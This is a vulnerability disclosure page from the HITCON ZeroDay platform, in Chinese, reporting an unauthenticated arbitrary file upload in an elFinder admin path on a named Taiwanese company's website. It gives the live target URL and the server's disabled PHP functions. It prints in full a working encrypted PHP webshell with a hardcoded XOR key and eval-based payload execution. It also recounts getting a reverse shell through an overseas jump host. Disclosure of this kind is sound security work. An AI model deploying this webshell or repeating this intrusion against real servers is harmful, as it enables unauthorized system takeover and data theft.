Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00224
- Vendor: 和嵩金屬建材有限公司
- Title: 和嵩金屬建材有限公司
- Introduction: 任意檔案上傳
處理狀態
目前狀態
公開
Last Update : 2023/07/25
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/05/25 20:50:54 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 20:52:49 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 20:53:51 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 20:55:02 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 20:56:49 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 21:03:04 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 21:06:50 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 21:13:48 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 21:27:20 : 新提交 (由 Noth 更新此狀態)
- 2023/05/25 21:29:55 : 新提交 (由 Noth 更新此狀態)
- 2023/05/29 09:50:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:30:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:30:13 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:30:14 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/25 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00224
- 通報者:shen (Noth)
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.hesung.com.tw/static/admin/elFinder-2.1.57/elfinder.html#elf_l1_Lw
敘述
發現路徑不須驗證即可任意檔案上傳導致取得主機權限。
https://www.hesung.com.tw/static/admin/elFinder-2.1.57/elfinder.html#elf_l1_Lw
透過前端網頁尋找圖片相對應路徑。
上傳 phpinfo 程式碼到相同目錄下。
成功上傳 phpinfo。
禁用了很多 disable_function。
symlink,show_source, system, exec, shell_exec, passthru, popen, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, escapeshellarg, escapeshellcmd, ini_alter, define_syslog_variables,posix_uname,posix_getpwuid,posix_getpwnam, apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_terminate, posix_uname, diskfreespace, leak,base64_encodem,eval, apache_child_terminate, apache_setenv
上傳自己的 webshell。
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
成功連接後門 , 突破限制執行命令。
利用之前境外跳板機進行主機反連 , 成功 reverse shell。
已刪除測試後門 , 請排除來自日本 (103.125.X.X) IP。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。